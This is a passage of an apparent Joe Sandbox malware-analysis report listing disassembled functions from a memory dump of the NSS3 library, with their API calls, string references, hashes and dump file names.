Opcode ID: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction ID: f9bbfddfc24952b1d21e5df039cef5d499f06fc966fbc7248958250e7d9bf9a9
Opcode Fuzzy Hash: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction Fuzzy Hash: BA215775A01214AFEB00BE29DD48E9A3769EF41369F198134FC0887B02E730D962CBE0

Function 6C76CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e9e574ef51c2254fd3ffbae26b5fd7c8aefb496602be3f6a92fcc1d6c4607581
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 2C11A2A6E042055BEF00AAA76E49BABB5EC9F5474EF044039EC09D7F41FB60D908C6B1

Function 6C718C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C718C1B
EnterCriticalSection.KERNEL32 ref: 6C718C34
PL_ArenaAllocate.NSS3 ref: 6C718C65
PR_Unlock.NSS3 ref: 6C718C9C
PR_Unlock.NSS3 ref: 6C718CB6

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Strings

KRAM, xrefs: 6C718C8F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction ID: dce1ce97aa1a50e508a58f6c078c1cbd6437ddeed09cd8bd292c1c89da65f210
Opcode Fuzzy Hash: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction Fuzzy Hash: 3E2174B1A096018FD700AF79C588559B7F4FF15308F0A89BAD8888BB11EB35D886CFD1

Function 6C728E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EA2

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EC3
TlsGetValue.KERNEL32(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C728EF1
PR_Unlock.NSS3 ref: 6C728F20

Strings

b.tl, xrefs: 6C728E96, 6C728F25

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.tl
API String ID: 1978757487-2381257471
Opcode ID: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction ID: 1ecf21e19ebc9b072b9497eb3b345c7978919f8565be6c4768abe643d7b2bd42
Opcode Fuzzy Hash: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction Fuzzy Hash: D121BC729087059FD700AF29C6885A9BBF4FF48318F05466EED988BB41D735E854CBC2

Function 6C793E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_EnterMonitor.NSS3(?), ref: 6C793E45

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793E5C
PR_EnterMonitor.NSS3(?), ref: 6C793E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C793EA6

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_ExitMonitor.NSS3(?), ref: 6C793EC0
PR_ExitMonitor.NSS3(?), ref: 6C793ED7
PR_ExitMonitor.NSS3(?), ref: 6C793EEE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: e0d733163e46735a7ddc4013bf70d7a4627ab260767f0c10b36b15bc0e56d691
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 9911E471650601EFDB719E29FE0ABC7B3A5DB51308F400834E61E86A22E637E929C743

Function 6C812C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C812CA0
PR_ExitMonitor.NSS3 ref: 6C812CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C812CD1
strdup.MOZGLUE(?), ref: 6C812CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C812D27

Strings

Loaded library %s (static lib), xrefs: 6C812D22

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction ID: fb6e3f134df14bd569fa92073de0d8c860338b3f7c0b6eb6b31473eca2c1b127
Opcode Fuzzy Hash: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction Fuzzy Hash: 3F1122B47042058FEB318F1AD908A6677F5AB4634DF04883DD80987F42D739E818CBE2

Function 6C70BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BDCA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDDB

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDEC

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C70BE03

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70BE3B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 8fcd705332a198c56619723d61f06700bddf58b25a19837f15930e0eee51f2e4
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: B301F7E5B4020177F6101266AE0DB97368C4F5078DF140134EE04D6B82FB51E21983B5

Function 6C760FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B
TlsGetValue.KERNEL32(00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761044
free.MOZGLUE(00000000,?,00000800,6C6FEF74,00000000), ref: 6C761064

Strings

security, xrefs: 6C761025

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction ID: bf2e20b42365ce0dc371de469108f29cca9de25200a89520553d809e641cca82
Opcode Fuzzy Hash: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction Fuzzy Hash: 96014475A002519BEB712F2F9E0DA563AA8BF0678DF010535EC8897E52EB70C104DBD2

Function 6C791C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C791C74

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C791C92
free.MOZGLUE(?), ref: 6C791C99
DeleteCriticalSection.KERNEL32(?), ref: 6C791CCB
free.MOZGLUE(?), ref: 6C791CD2

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction ID: 5bd3bbd806b4e2d8c95dd5555e1ed02ce7a0a55848be6883c9d3f9d7b69e8af6
Opcode Fuzzy Hash: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction Fuzzy Hash: 5301D6B1F012206FDF30AFA5AE0DB553778670B31DF440174E509A6B41D3699014CBD1

Function 6C7A2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7A3046

Part of subcall function 6C78EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C777FFB), ref: 6C7A312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7A3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7A2E8B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C78F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C779BFF,?,00000000,00000000), ref: 6C78F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C777FFA), ref: 6C7A2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A317B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction ID: 612ad1c0ab10f49a3171ad912c353824358415e5f528849cbf011c3a5228a950
Opcode Fuzzy Hash: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction Fuzzy Hash: 61A1CE75A002189FDB24CF54CD84BEAB7B5EF49308F0481A9ED4967781E731AD86CFA1

Function 6C76ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C76ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C76EDCE

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

free.MOZGLUE(00000000,?,?,?,?,6C76B04F), ref: 6C76EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C76EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C76EEFB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction ID: 2a09fee7a8641a387eede0ea3be741cac782104a2f5b89c0f544c63b77a4f710
Opcode Fuzzy Hash: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction Fuzzy Hash: F4814CB5A002099FEB14CF56DE89BAB77F9AF88708F144438EC159BB51D731E814CBA1

Function 6C76CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

PR_Now.NSS3 ref: 6C76CD35

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

Part of subcall function 6C756C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

PR_GetCurrentThread.NSS3 ref: 6C76CD54

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Part of subcall function 6C757260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701CCC,00000000,00000000,?,?), ref: 6C75729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C76CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C76CE2C

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C76CE40

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

Part of subcall function 6C76CEE0: PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE
Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC
Part of subcall function 6C76CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
